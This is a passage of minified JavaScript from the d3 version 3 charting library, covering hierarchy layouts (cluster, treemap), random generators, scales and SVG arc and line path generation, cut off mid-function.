arguments.length?(Ae=Kt,je):Ae},je.size=function(Kt){return arguments.length?(Ye=(ze=Kt)==null?jt:null,je):Ye?null:ze},je.nodeSize=function(Kt){return arguments.length?(Ye=(ze=Kt)==null?null:jt,je):Ye?ze:null},zs(je,se)};function _o(se,Ae){return se.parent==Ae.parent?1:2}function rl(se){var Ae=se.children;return Ae.length?Ae[0]:se.t}function nl(se){var Ae=se.children,ze;return(ze=Ae.length)?Ae[ze-1]:se.t}function Al(se,Ae,ze){var Ye=ze/(Ae.i-se.i);Ae.c-=Ye,Ae.s+=ze,se.c+=Ye,Ae.z+=ze,Ae.m+=ze}function ff(se){for(var Ae=0,ze=0,Ye=se.children,je=Ye.length,qe;--je>=0;)qe=Ye[je],qe.z+=Ae,qe.m+=Ae,Ae+=qe.s+(ze+=qe.c)}function cf(se,Ae,ze){return se.a.parent===Ae.parent?se.a:ze}o.layout.cluster=function(){var se=o.layout.hierarchy().sort(null).value(null),Ae=_o,ze=[1,1],Ye=!1;function je(qe,Mt){var it=se.call(this,qe,Mt),kt=it[0],jt,Kt=0;ki(kt,function(Mr){var _r=Mr.children;_r&&_r.length?(Mr.x=vf(_r),Mr.y=hf(_r)):(Mr.x=jt?Kt+=Ae(Mr,jt):0,Mr.y=0,jt=Mr)});var wr=Ml(kt),xr=Cu(kt),Gr=wr.x-Ae(wr,xr)/2,jr=xr.x+Ae(xr,wr)/2;return ki(kt,Ye?function(Mr){Mr.x=(Mr.x-kt.x)*ze[0],Mr.y=(kt.y-Mr.y)*ze[1]}:function(Mr){Mr.x=(Mr.x-Gr)/(jr-Gr)*ze[0],Mr.y=(1-(kt.y?Mr.y/kt.y:1))*ze[1]}),it}return je.separation=function(qe){return arguments.length?(Ae=qe,je):Ae},je.size=function(qe){return arguments.length?(Ye=(ze=qe)==null,je):Ye?null:ze},je.nodeSize=function(qe){return arguments.length?(Ye=(ze=qe)!=null,je):Ye?ze:null},zs(je,se)};function hf(se){return 1+o.max(se,function(Ae){return Ae.y})}function vf(se){return se.reduce(function(Ae,ze){return Ae+ze.x},0)/se.length}function Ml(se){var Ae=se.children;return Ae&&Ae.length?Ml(Ae[0]):se}function Cu(se){var Ae=se.children,ze;return Ae&&(ze=Ae.length)?Cu(Ae[ze-1]):se}o.layout.treemap=function(){var se=o.layout.hierarchy(),Ae=Math.round,ze=[1,1],Ye=null,je=Bs,qe=!1,Mt,it="squarify",kt=.5*(1+Math.sqrt(5));function jt(Mr,_r){for(var Hr=-1,Kr=Mr.length,rn,Vr;++Hr<Kr;)Vr=(rn=Mr[Hr]).value*(_r<0?0:_r),rn.area=isNaN(Vr)||Vr<=0?0:Vr}function Kt(Mr){var _r=Mr.children;if(_r&&_r.length){var Hr=je(Mr),Kr=[],rn=_r.slice(),Vr,Dn=1/0,Fn,Vn=it==="slice"?Hr.dx:it==="dice"?Hr.dy:it==="slice-dice"?Mr.depth&1?Hr.dy:Hr.dx:Math.min(Hr.dx,Hr.dy),Kn;for(jt(rn,Hr.dx*Hr.dy/Mr.value),Kr.area=0;(Kn=rn.length)>0;)Kr.push(Vr=rn[Kn-1]),Kr.area+=Vr.area,it!=="squarify"||(Fn=xr(Kr,Vn))<=Dn?(rn.pop(),Dn=Fn):(Kr.area-=Kr.pop().area,Gr(Kr,Vn,Hr,!1),Vn=Math.min(Hr.dx,Hr.dy),Kr.length=Kr.area=0,Dn=1/0);Kr.length&&(Gr(Kr,Vn,Hr,!0),Kr.length=Kr.area=0),_r.forEach(Kt)}}function wr(Mr){var _r=Mr.children;if(_r&&_r.length){var Hr=je(Mr),Kr=_r.slice(),rn,Vr=[];for(jt(Kr,Hr.dx*Hr.dy/Mr.value),Vr.area=0;rn=Kr.pop();)Vr.push(rn),Vr.area+=rn.area,rn.z!=null&&(Gr(Vr,rn.z?Hr.dx:Hr.dy,Hr,!Kr.length),Vr.length=Vr.area=0);_r.forEach(wr)}}function xr(Mr,_r){for(var Hr=Mr.area,Kr,rn=0,Vr=1/0,Dn=-1,Fn=Mr.length;++Dn<Fn;)(Kr=Mr[Dn].area)&&(Kr<Vr&&(Vr=Kr),Kr>rn&&(rn=Kr));return Hr*=Hr,_r*=_r,Hr?Math.max(_r*rn*kt/Hr,Hr/(_r*Vr*kt)):1/0}function Gr(Mr,_r,Hr,Kr){var rn=-1,Vr=Mr.length,Dn=Hr.x,Fn=Hr.y,Vn=_r?Ae(Mr.area/_r):0,Kn;if(_r==Hr.dx){for((Kr||Vn>Hr.dy)&&(Vn=Hr.dy);++rn<Vr;)Kn=Mr[rn],Kn.x=Dn,Kn.y=Fn,Kn.dy=Vn,Dn+=Kn.dx=Math.min(Hr.x+Hr.dx-Dn,Vn?Ae(Kn.area/Vn):0);Kn.z=!0,Kn.dx+=Hr.x+Hr.dx-Dn,Hr.y+=Vn,Hr.dy-=Vn}else{for((Kr||Vn>Hr.dx)&&(Vn=Hr.dx);++rn<Vr;)Kn=Mr[rn],Kn.x=Dn,Kn.y=Fn,Kn.dx=Vn,Fn+=Kn.dy=Math.min(Hr.y+Hr.dy-Fn,Vn?Ae(Kn.area/Vn):0);Kn.z=!1,Kn.dy+=Hr.y+Hr.dy-Fn,Hr.x+=Vn,Hr.dx-=Vn}}function jr(Mr){var _r=Mt||se(Mr),Hr=_r[0];return Hr.x=Hr.y=0,Hr.value?(Hr.dx=ze[0],Hr.dy=ze[1]):Hr.dx=Hr.dy=0,Mt&&se.revalue(Hr),jt([Hr],Hr.dx*Hr.dy/Hr.value),(Mt?wr:Kt)(Hr),qe&&(Mt=_r),_r}return jr.size=function(Mr){return arguments.length?(ze=Mr,jr):ze},jr.padding=function(Mr){if(!arguments.length)return Ye;function _r(rn){var Vr=Mr.call(jr,rn,rn.depth);return Vr==null?Bs(rn):Oi(rn,typeof Vr=="number"?[Vr,Vr,Vr,Vr]:Vr)}function Hr(rn){return Oi(rn,Mr)}var Kr;return je=(Ye=Mr)==null?Bs:(Kr=typeof Mr)=="function"?_r:(Kr==="number"&&(Mr=[Mr,Mr,Mr,Mr]),Hr),jr},jr.round=function(Mr){return arguments.length?(Ae=Mr?Math.round:Number,jr):Ae!=Number},jr.sticky=function(Mr){return arguments.length?(qe=Mr,Mt=null,jr):qe},jr.ratio=function(Mr){return arguments.length?(kt=Mr,jr):kt},jr.mode=function(Mr){return arguments.length?(it=Mr+"",jr):it},zs(jr,se)};function Bs(se){return{x:se.x,y:se.y,dx:se.dx,dy:se.dy}}function Oi(se,Ae){var ze=se.x+Ae[3],Ye=se.y+Ae[0],je=se.dx-Ae[1]-Ae[3],qe=se.dy-Ae[0]-Ae[2];return je<0&&(ze+=je/2,je=0),qe<0&&(Ye+=qe/2,qe=0),{x:ze,y:Ye,dx:je,dy:qe}}o.random={normal:function(se,Ae){var ze=arguments.length;return ze<2&&(Ae=1),ze<1&&(se=0),function(){var Ye,je,qe;do Ye=Math.random()*2-1,je=Math.random()*2-1,qe=Ye*Ye+je*je;while(!qe||qe>1);return se+Ae*Ye*Math.sqrt(-2*Math.log(qe)/qe)}},logNormal:function(){var se=o.random.normal.apply(o,arguments);return function(){return Math.exp(se())}},bates:function(se){var Ae=o.random.irwinHall(se);return function(){return Ae()/se}},irwinHall:function(se){return function(){for(var Ae=0,ze=0;ze<se;ze++)Ae+=Math.random();return Ae}}},o.scale={};function ro(se){var Ae=se[0],ze=se[se.length-1];return Ae<ze?[Ae,ze]:[ze,Ae]}function al(se){return se.rangeExtent?se.rangeExtent():ro(se.range())}function xs(se,Ae,ze,Ye){var je=ze(se[0],se[1]),qe=Ye(Ae[0],Ae[1]);return function(Mt){return qe(je(Mt))}}function il(se,Ae){var ze=0,Ye=se.length-1,je=se[ze],qe=se[Ye],Mt;return qe<je&&(Mt=ze,ze=Ye,Ye=Mt,Mt=je,je=qe,qe=Mt),se[ze]=Ae.floor(je),se[Ye]=Ae.ceil(qe),se}function Sl(se){return se?{floor:function(Ae){return Math.floor(Ae/se)*se},ceil:function(Ae){return Math.ceil(Ae/se)*se}}:df}var df={floor:F,ceil:F};function Lu(se,Ae,ze,Ye){var je=[],qe=[],Mt=0,it=Math.min(se.length,Ae.length)-1;for(se[it]<se[0]&&(se=se.slice().reverse(),Ae=Ae.slice().reverse());++Mt<=it;)je.push(ze(se[Mt-1],se[Mt])),qe.push(Ye(Ae[Mt-1],Ae[Mt]));return function(kt){var jt=o.bisect(se,kt,1,it)-1;return qe[jt](je[jt](kt))}}o.scale.linear=function(){return Pu([0,1],[0,1],Go,!1)};function Pu(se,Ae,ze,Ye){var je,qe;function Mt(){var kt=Math.min(se.length,Ae.length)>2?Lu:xs,jt=Ye?Is:$s;return je=kt(se,Ae,jt,ze),qe=kt(Ae,se,jt,Go),it}function it(kt){return je(kt)}return it.invert=function(kt){return qe(kt)},it.domain=function(kt){return arguments.length?(se=kt.map(Number),Mt()):se},it.range=function(kt){return arguments.length?(Ae=kt,Mt()):Ae},it.rangeRound=function(kt){return it.range(kt).interpolate(jl)},it.clamp=function(kt){return arguments.length?(Ye=kt,Mt()):Ye},it.interpolate=function(kt){return arguments.length?(ze=kt,Mt()):ze},it.ticks=function(kt){return zo(se,kt)},it.tickFormat=function(kt,jt){return d3_scale_linearTickFormat(se,kt,jt)},it.nice=function(kt){return os(se,kt),Mt()},it.copy=function(){return Pu(se,Ae,ze,Ye)},Mt()}function au(se,Ae){return o.rebind(se,Ae,"range","rangeRound","interpolate","clamp")}function os(se,Ae){return il(se,Sl(Ti(se,Ae)[2])),il(se,Sl(Ti(se,Ae)[2])),se}function Ti(se,Ae){Ae==null&&(Ae=10);var ze=ro(se),Ye=ze[1]-ze[0],je=Math.pow(10,Math.floor(Math.log(Ye/Ae)/Math.LN10)),qe=Ae/Ye*je;return qe<=.15?je*=10:qe<=.35?je*=5:qe<=.75&&(je*=2),ze[0]=Math.ceil(ze[0]/je)*je,ze[1]=Math.floor(ze[1]/je)*je+je*.5,ze[2]=je,ze}function zo(se,Ae){return o.range.apply(o,Ti(se,Ae))}o.scale.log=function(){return iu(o.scale.linear().domain([0,1]),10,!0,[1,10])};function iu(se,Ae,ze,Ye){function je(it){return(ze?Math.log(it<0?0:it):-Math.log(it>0?0:-it))/Math.log(Ae)}function qe(it){return ze?Math.pow(Ae,it):-Math.pow(Ae,-it)}function Mt(it){return se(je(it))}return Mt.invert=function(it){return qe(se.invert(it))},Mt.domain=function(it){return arguments.length?(ze=it[0]>=0,se.domain((Ye=it.map(Number)).map(je)),Mt):Ye},Mt.base=function(it){return arguments.length?(Ae=+it,se.domain(Ye.map(je)),Mt):Ae},Mt.nice=function(){var it=il(Ye.map(je),ze?Math:Ru);return se.domain(it),Ye=it.map(qe),Mt},Mt.ticks=function(){var it=ro(Ye),kt=[],jt=it[0],Kt=it[1],wr=Math.floor(je(jt)),xr=Math.ceil(je(Kt)),Gr=Ae%1?2:Ae;if(isFinite(xr-wr)){if(ze){for(;wr<xr;wr++)for(var jr=1;jr<Gr;jr++)kt.push(qe(wr)*jr);kt.push(qe(wr))}else for(kt.push(qe(wr));wr++<xr;)for(var jr=Gr-1;jr>0;jr--)kt.push(qe(wr)*jr);for(wr=0;kt[wr]<jt;wr++);for(xr=kt.length;kt[xr-1]>Kt;xr--);kt=kt.slice(wr,xr)}return kt},Mt.copy=function(){return iu(se.copy(),Ae,ze,Ye)},au(Mt,se)}var Ru={floor:function(se){return-Math.ceil(-se)},ceil:function(se){return-Math.floor(-se)}};o.scale.pow=function(){return bs(o.scale.linear(),1,[0,1])};function bs(se,Ae,ze){var Ye=El(Ae),je=El(1/Ae);function qe(Mt){return se(Ye(Mt))}return qe.invert=function(Mt){return je(se.invert(Mt))},qe.domain=function(Mt){return arguments.length?(se.domain((ze=Mt.map(Number)).map(Ye)),qe):ze},qe.ticks=function(Mt){return zo(ze,Mt)},qe.tickFormat=function(Mt,it){return d3_scale_linearTickFormat(ze,Mt,it)},qe.nice=function(Mt){return qe.domain(os(ze,Mt))},qe.exponent=function(Mt){return arguments.length?(Ye=El(Ae=Mt),je=El(1/Ae),se.domain(ze.map(Ye)),qe):Ae},qe.copy=function(){return bs(se.copy(),Ae,ze)},au(qe,se)}function El(se){return function(Ae){return Ae<0?-Math.pow(-Ae,se):Math.pow(Ae,se)}}o.scale.sqrt=function(){return o.scale.pow().exponent(.5)},o.scale.ordinal=function(){return Ao([],{t:"range",a:[[]]})};function Ao(se,Ae){var ze,Ye,je;function qe(it){return Ye[((ze.get(it)||(Ae.t==="range"?ze.set(it,se.push(it)):NaN))-1)%Ye.length]}function Mt(it,kt){return o.range(se.length).map(function(jt){return it+kt*jt})}return qe.domain=function(it){if(!arguments.length)return se;se=[],ze=new E;for(var kt=-1,jt=it.length,Kt;++kt<jt;)ze.has(Kt=it[kt])||ze.set(Kt,se.push(Kt));return qe[Ae.t].apply(qe,Ae.a)},qe.range=function(it){return arguments.length?(Ye=it,je=0,Ae={t:"range",a:arguments},qe):Ye},qe.rangePoints=function(it,kt){arguments.length<2&&(kt=0);var jt=it[0],Kt=it[1],wr=se.length<2?(jt=(jt+Kt)/2,0):(Kt-jt)/(se.length-1+kt);return Ye=Mt(jt+wr*kt/2,wr),je=0,Ae={t:"rangePoints",a:arguments},qe},qe.rangeRoundPoints=function(it,kt){arguments.length<2&&(kt=0);var jt=it[0],Kt=it[1],wr=se.length<2?(jt=Kt=Math.round((jt+Kt)/2),0):(Kt-jt)/(se.length-1+kt)|0;return Ye=Mt(jt+Math.round(wr*kt/2+(Kt-jt-(se.length-1+kt)*wr)/2),wr),je=0,Ae={t:"rangeRoundPoints",a:arguments},qe},qe.rangeBands=function(it,kt,jt){arguments.length<2&&(kt=0),arguments.length<3&&(jt=kt);var Kt=it[1]<it[0],wr=it[Kt-0],xr=it[1-Kt],Gr=(xr-wr)/(se.length-kt+2*jt);return Ye=Mt(wr+Gr*jt,Gr),Kt&&Ye.reverse(),je=Gr*(1-kt),Ae={t:"rangeBands",a:arguments},qe},qe.rangeRoundBands=function(it,kt,jt){arguments.length<2&&(kt=0),arguments.length<3&&(jt=kt);var Kt=it[1]<it[0],wr=it[Kt-0],xr=it[1-Kt],Gr=Math.floor((xr-wr)/(se.length-kt+2*jt));return Ye=Mt(wr+Math.round((xr-wr-(se.length-kt)*Gr)/2),Gr),Kt&&Ye.reverse(),je=Math.round(Gr*(1-kt)),Ae={t:"rangeRoundBands",a:arguments},qe},qe.rangeBand=function(){return je},qe.rangeExtent=function(){return ro(Ae.a[0])},qe.copy=function(){return Ao(se,Ae)},qe.domain(se)}o.scale.category10=function(){return o.scale.ordinal().range(Cl)},o.scale.category20=function(){return o.scale.ordinal().range(Ko)},o.scale.category20b=function(){return o.scale.ordinal().range(Jo)},o.scale.category20c=function(){return o.scale.ordinal().range(ou)};var Cl=[2062260,16744206,2924588,14034728,9725885,9197131,14907330,8355711,12369186,1556175].map(It),Ko=[2062260,11454440,16744206,16759672,2924588,10018698,14034728,16750742,9725885,12955861,9197131,12885140,14907330,16234194,8355711,13092807,12369186,14408589,1556175,10410725].map(It),Jo=[3750777,5395619,7040719,10264286,6519097,9216594,11915115,13556636,9202993,12426809,15186514,15190932,8666169,11356490,14049643,15177372,8077683,10834324,13528509,14589654].map(It),ou=[3244733,7057110,10406625,13032431,15095053,16616764,16625259,16634018,3253076,7652470,10607003,13101504,7695281,10394312,12369372,14342891,6513507,9868950,12434877,14277081].map(It);o.scale.quantile=function(){return Ns([],[])};function Ns(se,Ae){var ze;function Ye(){var qe=0,Mt=Ae.length;for(ze=[];++qe<Mt;)ze[qe-1]=o.quantile(se,qe/Mt);return je}function je(qe){if(!isNaN(qe=+qe))return Ae[o.bisect(ze,qe)]}return je.domain=function(qe){return arguments.length?(se=qe.map(y).filter(c).sort(s),Ye()):se},je.range=function(qe){return arguments.length?(Ae=qe,Ye()):Ae},je.quantiles=function(){return ze},je.invertExtent=function(qe){return qe=Ae.indexOf(qe),qe<0?[NaN,NaN]:[qe>0?ze[qe-1]:se[0],qe<ze.length?ze[qe]:se[se.length-1]]},je.copy=function(){return Ns(se,Ae)},Ye()}o.scale.quantize=function(){return Qa(0,1,[0,1])};function Qa(se,Ae,ze){var Ye,je;function qe(it){return ze[Math.max(0,Math.min(je,Math.floor(Ye*(it-se))))]}function Mt(){return Ye=ze.length/(Ae-se),je=ze.length-1,qe}return qe.domain=function(it){return arguments.length?(se=+it[0],Ae=+it[it.length-1],Mt()):[se,Ae]},qe.range=function(it){return arguments.length?(ze=it,Mt()):ze},qe.invertExtent=function(it){return it=ze.indexOf(it),it=it<0?NaN:it/Ye+se,[it,it+1/Ye]},qe.copy=function(){return Qa(se,Ae,ze)},Mt()}o.scale.threshold=function(){return ws([.5],[0,1])};function ws(se,Ae){function ze(Ye){if(Ye<=Ye)return Ae[o.bisect(se,Ye)]}return ze.domain=function(Ye){return arguments.length?(se=Ye,ze):se},ze.range=function(Ye){return arguments.length?(Ae=Ye,ze):Ae},ze.invertExtent=function(Ye){return Ye=Ae.indexOf(Ye),[se[Ye-1],se[Ye]]},ze.copy=function(){return ws(se,Ae)},ze}o.scale.identity=function(){return Ll([0,1])};function Ll(se){function Ae(ze){return+ze}return Ae.invert=Ae,Ae.domain=Ae.range=function(ze){return arguments.length?(se=ze.map(Ae),Ae):se},Ae.ticks=function(ze){return zo(se,ze)},Ae.tickFormat=function(ze,Ye){return d3_scale_linearTickFormat(se,ze,Ye)},Ae.copy=function(){return Ll(se)},Ae}o.svg={};function Pl(){return 0}o.svg.arc=function(){var se=pf,Ae=su,ze=Pl,Ye=ss,je=Us,qe=lu,Mt=Du;function it(){var jt=Math.max(0,+se.apply(this,arguments)),Kt=Math.max(0,+Ae.apply(this,arguments)),wr=je.apply(this,arguments)-et,xr=qe.apply(this,arguments)-et,Gr=Math.abs(xr-wr),jr=wr>xr?0:1;if(Kt<jt&&(Mr=Kt,Kt=jt,jt=Mr),Gr>=Qe)return kt(Kt,jr)+(jt?kt(jt,1-jr):"")+"Z";var Mr,_r,Hr,Kr,rn=0,Vr=0,Dn,Fn,Vn,Kn,ca,fa,Ra,ya,Ca=[];if((Kr=(+Mt.apply(this,arguments)||0)/2)&&(Hr=Ye===ss?Math.sqrt(jt*jt+Kt*Kt):+Ye.apply(this,arguments),jr||(Vr*=-1),Kt&&(Vr=Ft(Hr/Kt*Math.sin(Kr))),jt&&(rn=Ft(Hr/jt*Math.sin(Kr)))),Kt){Dn=Kt*Math.cos(wr+Vr),Fn=Kt*Math.sin(wr+Vr),Vn=Kt*Math.cos(xr-Vr),Kn=Kt*Math.sin(xr-Vr);var Ua=Math.abs(xr-wr-2*Vr)<=Me?0:1;if(Vr&&Qo(Dn,Fn,Vn,Kn)===jr^Ua){var Wa=(wr+xr)/2;Dn=Kt*Math.cos(Wa),Fn=Kt*Math.sin(Wa),Vn=Kn=null}}else Dn=Fn=0;if(jt){ca=jt*Math.cos(xr-rn),fa=jt*Math.sin(xr-rn),Ra=jt*Math.cos(wr+rn),ya=jt*Math.sin(wr+rn);var $a=Math.abs(wr-xr+2*rn)<=Me?0:1;if(rn&&Qo(ca,fa,Ra,ya)===1-jr^$a){var In=(wr+xr)/2;ca=jt*Math.cos(In),fa=jt*Math.sin(In),Ra=ya=null}}else ca=fa=0;if(Gr>ae&&(Mr=Math.min(Math.abs(Kt-jt)/2,+ze.apply(this,arguments)))>.001){_r=jt<Kt^jr?0:1;var La=Mr,Sa=Mr;if(Gr<Me){var za=Ra==null?[ca,fa]:Vn==null?[Dn,Fn]:un([Dn,Fn],[Ra,ya],[Vn,Kn],[ca,fa]),ci=Dn-za[0],bi=Fn-za[1],Si=Vn-za[0],si=Kn-za[1],ei=1/Math.sin(Math.acos((ci*Si+bi*si)/(Math.sqrt(ci*ci+bi*bi)*Math.sqrt(Si*Si+si*si)))/2),la=Math.sqrt(za[0]*za[0]+za[1]*za[1]);Sa=Math.min(Mr,(jt-la)/(ei-1)),La=Math.min(Mr,(Kt-la)/(ei+1))}if(Vn!=null){var pa=ls(Ra==null?[ca,fa]:[Ra,ya],[Dn,Fn],Kt,La,jr),li=ls([Vn,Kn],[ca,fa],Kt,La,jr);Mr===La?Ca.push("M",pa[0],"A",La,",",La," 0 0,",_r," ",pa[1],"A",Kt,",",Kt," 0 ",1-jr^Qo(pa[1][0],pa[1][1],li[1][0],li[1][1]),",",jr," ",li[1],"A",La,",",La," 0 0,",_r," ",li[0]):Ca.push("M",pa[0],"A",La,",",La," 0 1,",_r," ",li[0])}else Ca.push("M",Dn,",",Fn);if(Ra!=null){var Ai=ls([Dn,Fn],[Ra,ya],jt,-Sa,jr),uo=ls([ca,fa],Vn==null?[Dn,Fn]:[Vn,Kn],jt,-Sa,jr);Mr===Sa?Ca.push("L",uo[0],"A",Sa,",",Sa," 0 0,",_r," ",uo[1],"A",jt,",",jt," 0 ",jr^Qo(uo[1][0],uo[1][1],Ai[1][0],Ai[1][1]),",",1-jr," ",Ai[1],"A",Sa,",",Sa," 0 0,",_r," ",Ai[0]):Ca.push("L",uo[0],"A",Sa,",",Sa," 0 0,",_r," ",Ai[0])}else Ca.push("L",ca,",",fa)}else Ca.push("M",Dn,",",Fn),Vn!=null&&Ca.push("A",Kt,",",Kt," 0 ",Ua,",",jr," ",Vn,",",Kn),Ca.push("L",ca,",",fa),Ra!=null&&Ca.push("A",jt,",",jt," 0 ",$a,",",1-jr," ",Ra,",",ya);return Ca.push("Z"),Ca.join("")}function kt(jt,Kt){return"M0,"+jt+"A"+jt+","+jt+" 0 1,"+Kt+" 0,"+-jt+"A"+jt+","+jt+" 0 1,"+Kt+" 0,"+jt}return it.innerRadius=function(jt){return arguments.length?(se=Ur(jt),it):se},it.outerRadius=function(jt){return arguments.length?(Ae=Ur(jt),it):Ae},it.cornerRadius=function(jt){return arguments.length?(ze=Ur(jt),it):ze},it.padRadius=function(jt){return arguments.length?(Ye=jt==ss?ss:Ur(jt),it):Ye},it.startAngle=function(jt){return arguments.length?(je=Ur(jt),it):je},it.endAngle=function(jt){return arguments.length?(qe=Ur(jt),it):qe},it.padAngle=function(jt){return arguments.length?(Mt=Ur(jt),it):Mt},it.centroid=function(){var jt=(+se.apply(this,arguments)+ +Ae.apply(this,arguments))/2,Kt=(+je.apply(this,arguments)+ +qe.apply(this,arguments))/2-et;return[Math.cos(Kt)*jt,Math.sin(Kt)*jt]},it};var ss="auto";function pf(se){return se.innerRadius}function su(se){return se.outerRadius}function Us(se){return se.startAngle}function lu(se){return se.endAngle}function Du(se){return se&&se.padAngle}function Qo(se,Ae,ze,Ye){return(se-ze)*Ae-(Ae-Ye)*se>0?0:1}function ls(se,Ae,ze,Ye,je){var qe=se[0]-Ae[0],Mt=se[1]-Ae[1],it=(je?Ye:-Ye)/Math.sqrt(qe*qe+Mt*Mt),kt=it*Mt,jt=-it*qe,Kt=se[0]+kt,wr=se[1]+jt,xr=Ae[0]+kt,Gr=Ae[1]+jt,jr=(Kt+xr)/2,Mr=(wr+Gr)/2,_r=xr-Kt,Hr=Gr-wr,Kr=_r*_r+Hr*Hr,rn=ze-Ye,Vr=Kt*Gr-xr*wr,Dn=(Hr<0?-1:1)*Math.sqrt(Math.max(0,rn*rn*Kr-Vr*Vr)),Fn=(Vr*Hr-_r*Dn)/Kr,Vn=(-Vr*_r-Hr*Dn)/Kr,Kn=(Vr*Hr+_r*Dn)/Kr,ca=(-Vr*_r+Hr*Dn)/Kr,fa=Fn-jr,Ra=Vn-Mr,ya=Kn-jr,Ca=ca-Mr;return fa*fa+Ra*Ra>ya*ya+Ca*Ca&&(Fn=Kn,Vn=ca),[[Fn-kt,Vn-jt],[Fn*ze/rn,Vn*ze/rn]]}function Ts(){return!0}function As(se){var Ae=qn,ze=Wn,Ye=Ts,je=lo,qe=je.key,Mt=.7;function it(kt){var jt=[],Kt=[],wr=-1,xr=kt.length,Gr,jr=Ur(Ae),Mr=Ur(ze);function _r(){jt.push("M",je(se(Kt),Mt))}for(;++wr<xr;)Ye.call(this,Gr=kt[wr],wr)?Kt.push([+jr.call(this,Gr,wr),+Mr.call(this,Gr,wr)]):Kt.length&&(_r(),Kt=[]);return Kt.length&&_r(),jt.length?jt.join(""):null}return it.x=function(kt){return arguments.length?(Ae=kt,it):Ae},it.y=function(kt){return arguments.length?(ze=kt,it):ze},it.defined=function(kt){return arguments.length?(Ye=kt,it):Ye},it.interpolate=function(kt){return arguments.length?(typeof kt=="function"?qe=je=kt:qe=(je=no.get(kt)||lo).key,it):qe},it.tension=function(kt){return arguments.length?(Mt=kt,it):Mt},it}o.svg.line=function(){return As(F)};var no=o.map({linear:lo,"linear-closed":Ms,step:Iu,"step-before":Hs,"step-after":Rl,basis:$o,"basis-open":gf,"basis-closed":fu,bundle:Dl,cardinal:uu,"cardinal-open":ku,"cardinal-closed":Mo,monotone:cu});no.forEach(function(se,Ae){Ae.key=se,Ae.closed=/-closed$/.test(se)});function lo(se){return se.length>1?se.join("L"):se+"Z"}function Ms(se){return se.join("L")+"Z"}function Iu(se){for(var Ae=0,ze=se.length,Ye=se[0],je=[Ye[0],",",Ye[1]];++Ae<ze;)je.push("H",(Ye[0]+(Ye=se[Ae])[0])/2,"V",Ye[1]);return ze>1&&je.push("H",Ye[0]),je.join("")}function Hs(se){for(var Ae=0,ze=se.length,Ye=se[0],je=[Ye[0],",",Ye[1]];++Ae<ze;)je.push("V",(Ye=se[Ae])[1],"H",Ye[0]);return je.join("")}function Rl(se){for(var Ae=0,ze=se.length,Ye=se[0],je=[Ye[0],",",Ye[1]];++Ae<ze;)je.push("H",(Ye=se[Ae])[0],"V",Ye[1]);return je.join("")}function ku(se,Ae){return se.length<4?lo(se):se[1]+us(se.slice(1,-1),ol(se,Ae))}function Mo(se,Ae){return se.length<3?Ms(se):se[0]+us((se.push(se[0]),se),ol([se[se.length-2]].concat(se,[se[1]]),Ae))}function uu(se,Ae){return se.length<3?lo(se):se[0]+us(se,ol(se,Ae))}function us(se,Ae){if(Ae.length<1||se.length!=Ae.length&&se.length!=Ae.length+2)return lo(se);var ze=se.length!=Ae.length,Ye="",je=se[0],qe=se[1],Mt=Ae[0],it=Mt,kt=1;if(ze&&(Ye+="Q"+(qe[0]-Mt[0]*2/3)+","+(qe[1]-Mt[1]*2/3)+","+qe[0]+","+qe[1],je=se[1],kt=2),Ae.length>1){it=Ae[1],qe=se[kt],kt++,Ye+="C"+(je[0]+Mt[0])+","+(je[1]+Mt[1])+","+(qe[0]-it[0])+","+(qe[1]-it[1])+","+qe[0]+","+qe[1];for(var jt=2;jt<Ae.length;jt++,kt++)qe=se[kt],it=Ae[jt],Ye+="S"+(qe[0]-it[0])+","+(qe[1]-it[1])+","+qe[0]+","+qe[1]}if(ze){var Kt=se[kt];Ye+="Q"+(qe[0]+it[0]*2/3)+","+(qe[1]+it[1]*2/3)+","+Kt[0]+","+Kt[1]}return Ye}function ol(se,Ae){for(var ze=[],Ye=(1-Ae)/2,je,qe=se[0],Mt=se[1],it=1,kt=se.length;++it<kt;)je=qe,qe=Mt,Mt=se[it],ze.push([Ye*(Mt[0]-je[0]),Ye*(Mt[1]-je[1])]);return ze}function $o(se){if(se.length<3)return lo(se);var Ae=1,ze=se.length,Ye=se[0],je=Ye[0],qe=Ye[1],Mt=[je,je,je,(Ye=se[1])[0]],it=[qe,qe,qe,Ye[1]],kt=[je,",",qe,"L",Yi(Fo,Mt),",",Yi(Fo,it)];for(se.push(se[ze-1]);++Ae<=ze;)Ye=se[Ae],Mt.shift(),Mt.push(Ye[0]),it.shift(),it.push(Ye[1]),ll(kt,Mt,it);return se.pop(),kt.push("L",Ye),kt.join("")}function gf(se){if(se.length<4)return lo(se);for(var Ae=[],ze=-1,Ye=se.length,je,qe=[0],Mt=[0];++ze<3;)je=se[ze],qe.push(je[0]),Mt.push(je[1]);for(Ae.push(Yi(Fo,qe)+","+Yi(Fo,Mt)),--ze;++ze<Ye;)je=se[ze],qe.shift(),qe.push(je[0]),Mt.shift(),Mt.push(je[1]),ll(Ae,qe,Mt);return Ae.join("")}function fu(se){for(var Ae,ze=-1,Ye=se.length,je=Ye+4,qe,Mt=[],it=[];++ze<4;)qe=se[ze%Ye],Mt.push(qe[0]),it.push(qe[1]);for(Ae=[Yi(Fo,Mt),",",Yi(Fo,it)],--ze;++ze<je;)qe=se[ze%Ye],Mt.shift(),Mt.push(qe[0]),it.shift(),it.push(qe[1]),ll(Ae,Mt,it);return Ae.join("")}function Dl(se,Ae){var ze=se.length-1;if(ze)for(var Ye=se[0][0],je=se[0][1],qe=se[ze][0]-Ye,Mt=se[ze][1]-je,it=-1,kt,jt;++it<=ze;)kt=se[it],jt=it/ze,kt[0]=Ae*kt[0]+(1-Ae)*(Ye+jt*qe),kt[1]=Ae*kt[1]+(1-Ae)*(je+jt*Mt);return $o(se)}function Yi(se,Ae){return se[0]*Ae[0]+se[1]*Ae[1]+se[2]*Ae[2]+se[3]*Ae[3]}var _u=[0,2/3,1/3,0],sl=[0,1/3,2/3,0],Fo=[0,1/6,2/3,1/6];function ll(se,Ae,ze){se.push("C",Yi(_u,Ae),",",Yi(_u,ze),",",Yi(sl,Ae),",",Yi(sl,ze),",",Yi(Fo,Ae),",",Yi(Fo,ze))}function fs(se,Ae){return(Ae[1]-se[1])/(Ae[0]-se[0])}function Il(se){for(var Ae=0,ze=se.length-1,Ye=[],je=se[0],qe=se[1],Mt=Ye[0]=fs(je,qe);++Ae<ze;)Ye[Ae]=(Mt+(Mt=fs(je=qe,qe=se[Ae+1])))/2;return Ye[Ae]=Mt,Ye}function zu(se){for(var 